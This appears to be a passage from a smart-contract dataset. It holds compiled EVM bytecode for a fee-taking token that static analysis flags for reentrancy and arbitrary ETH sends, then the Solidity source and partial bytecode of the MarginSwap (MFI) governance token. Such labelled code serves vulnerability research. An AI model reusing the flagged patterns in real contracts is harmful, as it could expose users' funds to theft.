161580156119335750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61193c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119e75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a555750600f60179054906101000a900460ff165b15611af65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aa557600080fd5b601442611ab29190613172565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611b0130610895565b9050600f60159054906101000a900460ff16158015611b6e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b865750600f60169054906101000a900460ff165b15611bae57611b9481611f05565b60004790506000811115611bac57611bab47611d9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c6157600090505b611c6d8484848461218d565b50505050565b6000838311158290611cbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb29190612eba565b60405180910390fd5b5060008385611cca9190613253565b9050809150509392505050565b600080831415611cea5760009050611d4c565b60008284611cf891906131f9565b9050828482611d0791906131c8565b14611d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3e90612f5c565b60405180910390fd5b809150505b92915050565b6000611d9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ba565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dec600284611d5290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e68600284611d5290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e93573d6000803e3d6000fd5b5050565b6000600654821115611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed590612efc565b60405180910390fd5b6000611ee861221d565b9050611efd8184611d5290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d57611f3c613428565b5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611f8357611f826133f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561202557600080fd5b505afa158015612039573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061205d9190612924565b81600181518110612071576120706133f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112e9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213c959493929190613057565b600060405180830381600087803b15801561215657600080fd5b505af115801561216a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b8061219b5761219a612248565b5b6121a6848484612279565b806121b4576121b3612444565b5b50505050565b60008083118290612201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f89190612eba565b60405180910390fd5b506000838561221091906131c8565b9050809150509392505050565b600080600061222a612456565b915091506122418183611d5290919063ffffffff16565b9250505090565b600060085414801561225c57506000600954145b1561226657612277565b600060088190555060006009819055505b565b60008060008060008061228b876124b5565b9550955095509550955095506122e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ca816125c5565b6123d48483612682565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612431919061303c565b60405180910390a3505050505050505050565b600a6008819055506000600981905550565b600080600060065490506000670de0b6b3a7640000905061248a670de0b6b3a7640000600654611d5290919063ffffffff16565b8210156124a857600654670de0b6b3a76400009350935050506124b1565b81819350935050505b9091565b60008060008060008060008060006124d28a6008546009546126bc565b92509250925060006124e261221d565b905060008060006124f58e878787612752565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061255f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c73565b905092915050565b60008082846125769190613172565b9050838110156125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290612f3c565b60405180910390fd5b8091505092915050565b60006125cf61221d565b905060006125e68284611cd790919063ffffffff16565b905061263a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126978260065461251d90919063ffffffff16565b6006819055506126b28160075461256790919063ffffffff16565b6007819055505050565b6000806000806126e860646126da888a611cd790919063ffffffff16565b611d5290919063ffffffff16565b905060006127126064612704888b611cd790919063ffffffff16565b611d5290919063ffffffff16565b9050600061273b8261272d858c61251d90919063ffffffff16565b61251d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061276b8589611cd790919063ffffffff16565b905060006127828689611cd790919063ffffffff16565b905060006127998789611cd790919063ffffffff16565b905060006127c2826127b4858761251d90919063ffffffff16565b61251d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ee6127e9846130f1565b6130cc565b905080838252602082019050828560208602820111156128115761281061345c565b5b60005b858110156128415781612827888261284b565b845260208401935060208301925050600181019050612814565b5050509392505050565b60008135905061285a81613749565b92915050565b60008151905061286f81613749565b92915050565b600082601f83011261288a57612889613457565b5b813561289a8482602086016127db565b91505092915050565b6000813590506128b281613760565b92915050565b6000815190506128c781613760565b92915050565b6000813590506128dc81613777565b92915050565b6000815190506128f181613777565b92915050565b60006020828403121561290d5761290c613466565b5b600061291b8482850161284b565b91505092915050565b60006020828403121561293a57612939613466565b5b600061294884828501612860565b91505092915050565b6000806040838503121561296857612967613466565b5b60006129768582860161284b565b92505060206129878582860161284b565b9150509250929050565b6000806000606084860312156129aa576129a9613466565b5b60006129b88682870161284b565b93505060206129c98682870161284b565b92505060406129da868287016128cd565b9150509250925092565b600080604083850312156129fb576129fa613466565b5b6000612a098582860161284b565b9250506020612a1a858286016128cd565b9150509250929050565b600060208284031215612a3a57612a39613466565b5b600082013567ffffffffffffffff811115612a5857612a57613461565b5b612a6484828501612875565b91505092915050565b600060208284031215612a8357612a82613466565b5b6000612a91848285016128a3565b91505092915050565b600060208284031215612ab057612aaf613466565b5b6000612abe848285016128b8565b91505092915050565b600060208284031215612add57612adc613466565b5b6000612aeb848285016128cd565b91505092915050565b600080600060608486031215612b0d57612b0c613466565b5b6000612b1b868287016128e2565b9350506020612b2c868287016128e2565b9250506040612b3d868287016128e2565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b6881613287565b82525050565b612b7781613287565b82525050565b6000612b888261312d565b612b928185613150565b9350612b9d8361311d565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613143565b925050600181019050612ba1565b5085935050505092915050565b612be481613299565b82525050565b612bf3816132dc565b82525050565b6000612c0482613138565b612c0e8185613161565b9350612c1e8185602086016132ee565b612c278161346b565b840191505092915050565b6000612c3f602383613161565b9150612c4a8261347c565b604082019050919050565b6000612c62602a83613161565b9150612c6d826134cb565b604082019050919050565b6000612c85602283613161565b9150612c908261351a565b604082019050919050565b6000612ca8601b83613161565b9150612cb382613569565b602082019050919050565b6000612ccb602183613161565b9150612cd682613592565b604082019050919050565b6000612cee602083613161565b9150612cf9826135e1565b602082019050919050565b6000612d11602983613161565b9150612d1c8261360a565b604082019050919050565b6000612d34602583613161565b9150612d3f82613659565b604082019050919050565b6000612d57602483613161565b9150612d62826136a8565b604082019050919050565b6000612d7a601783613161565b9150612d85826136f7565b602082019050919050565b6000612d9d601183613161565b9150612da882613720565b602082019050919050565b612dbc816132c5565b82525050565b612dcb816132cf565b82525050565b6000602082019050612de66000830184612b6e565b92915050565b6000604082019050612e016000830185612b6e565b612e0e6020830184612b6e565b9392505050565b6000604082019050612e2a6000830185612b6e565b612e376020830184612db3565b9392505050565b600060c082019050612e536000830189612b6e565b612e606020830188612db3565b612e6d6040830187612bea565b612e7a6060830186612bea565b612e876080830185612b6e565b612e9460a0830184612db3565b979650505050505050565b6000602082019050612eb46000830184612bdb565b92915050565b60006020820190508181036000830152612ed48184612bf9565b905092915050565b60006020820190508181036000830152612ef581612c32565b9050919050565b60006020820190508181036000830152612f1581612c55565b9050919050565b60006020820190508181036000830152612f3581612c78565b9050919050565b60006020820190508181036000830152612f5581612c9b565b9050919050565b60006020820190508181036000830152612f7581612cbe565b9050919050565b60006020820190508181036000830152612f9581612ce1565b9050919050565b60006020820190508181036000830152612fb581612d04565b9050919050565b60006020820190508181036000830152612fd581612d27565b9050919050565b60006020820190508181036000830152612ff581612d4a565b9050919050565b6000602082019050818103600083015261301581612d6d565b9050919050565b6000602082019050818103600083015261303581612d90565b9050919050565b60006020820190506130516000830184612db3565b92915050565b600060a08201905061306c6000830188612db3565b6130796020830187612bea565b818103604083015261308b8186612b7d565b905061309a6060830185612b6e565b6130a76080830184612db3565b9695505050505050565b60006020820190506130c66000830184612dc2565b92915050565b60006130d66130e7565b90506130e28282613321565b919050565b6000604051905090565b600067ffffffffffffffff82111561310c5761310b613428565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317d826132c5565b9150613188836132c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bd576131bc61339b565b5b828201905092915050565b60006131d3826132c5565b91506131de836132c5565b9250826131ee576131ed6133ca565b5b828204905092915050565b6000613204826132c5565b915061320f836132c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132485761324761339b565b5b828202905092915050565b600061325e826132c5565b9150613269836132c5565b92508282101561327c5761327b61339b565b5b828203905092915050565b6000613292826132a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e7826132c5565b9050919050565b60005b8381101561330c5780820151818401526020810190506132f1565b8381111561331b576000848401525b50505050565b61332a8261346b565b810181811067ffffffffffffffff8211171561334957613348613428565b5b80604052505050565b600061335d826132c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133905761338f61339b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375281613287565b811461375d57600080fd5b50565b61376981613299565b811461377457600080fd5b50565b613780816132c5565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af71dfab5fe36315d9122bb5d58783014c6e776f43941225d7c5d65b9b35027f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,371
0xaa4e3edb11afa93c41db59842b29de64b72e355b
pragma solidity =0.6.0; pragma experimental ABIEncoderV2; contract MFI { /// @notice EIP-20 token name for this token string public constant name = "MarginSwap"; /// @notice EIP-20 token symbol for this token string public constant symbol = "MFI"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 10000000e18; // 10 million MFI /// Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new MFI token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "MFI::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "MFI::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "MFI::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "MFI::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MFI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MFI::delegateBySig: invalid nonce"); require(now <= expiry, "MFI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "MFI::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "MFI::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "MFI::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "MFI::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "MFI::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "MFI::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "MFI::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "MFI::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612866565b60405180910390f35b61015e6004803603610159919081019061214d565b61045c565b60405161016b9190612761565b60405180910390f35b61017c6105ee565b604051610189919061296a565b60405180910390f35b61019a6105fd565b6040516101a7919061277c565b60405180910390f35b6101ca60048036036101c591908101906120fe565b610614565b6040516101d79190612761565b60405180910390f35b6101e86108a6565b6040516101f591906129c9565b60405180910390f35b61021860048036036102139190810190612099565b6108ab565b6040516102259190612746565b60405180910390f35b61024860048036036102439190810190612099565b6108de565b005b610264600480360361025f9190810190612099565b6108eb565b6040516102719190612985565b60405180910390f35b610294600480360361028f9190810190612099565b61090e565b6040516102a1919061296a565b60405180910390f35b6102c460048036036102bf919081019061214d565b61097d565b6040516102d191906129ff565b60405180910390f35b6102f460048036036102ef9190810190612099565b610d90565b604051610301919061296a565b60405180910390f35b610312610da8565b60405161031f9190612866565b60405180910390f35b610342600480360361033d919081019061214d565b610de1565b60405161034f9190612761565b60405180910390f35b610372600480360361036d9190810190612099565b610e1e565b60405161037f91906129ff565b60405180910390f35b6103a2600480360361039d9190810190612189565b610f0c565b005b6103be60048036036103b991908101906120c2565b6111af565b6040516103cb919061296a565b60405180910390f35b6103dc61125b565b6040516103e9919061277c565b60405180910390f35b61040c60048036036104079190810190612212565b611272565b60405161041a9291906129a0565b60405180910390f35b6040518060400160405280600a81526020017f4d617267696e537761700000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060248152602001612d15602491396112cb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e4565b60405180910390a3600191505092915050565b6a084595161401484a00000081565b6040516106099061271c565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d685604051806060016040528060248152602001612d15602491396112cb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088d57600061077a83836040518060600160405280603c8152602001612cd9603c9139611329565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088391906129e4565b60405180910390a3505b61089887878361139a565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e8338261177b565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b8906128aa565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2e576000915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb1576000915050610d8a565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0c576000600283830363ffffffff1681610be757fe5b0482039050610bf4612002565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce457806020015195505050505050610d8a565b86816000015163ffffffff161015610cfe57819350610d05565b6001820392505b5050610bbf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600381526020017f4d4649000000000000000000000000000000000000000000000000000000000081525081565b600080610e0683604051806060016040528060258152602001612c05602591396112cb565b9050610e1333858361139a565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e88576000610f04565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1a9061271c565b60405180910390206040518060400160405280600a81526020017f4d617267696e537761700000000000000000000000000000000000000000000081525080519060200120610f6761193b565b30604051602001610f7b94939291906127dc565b604051602081830303815290604052805190602001209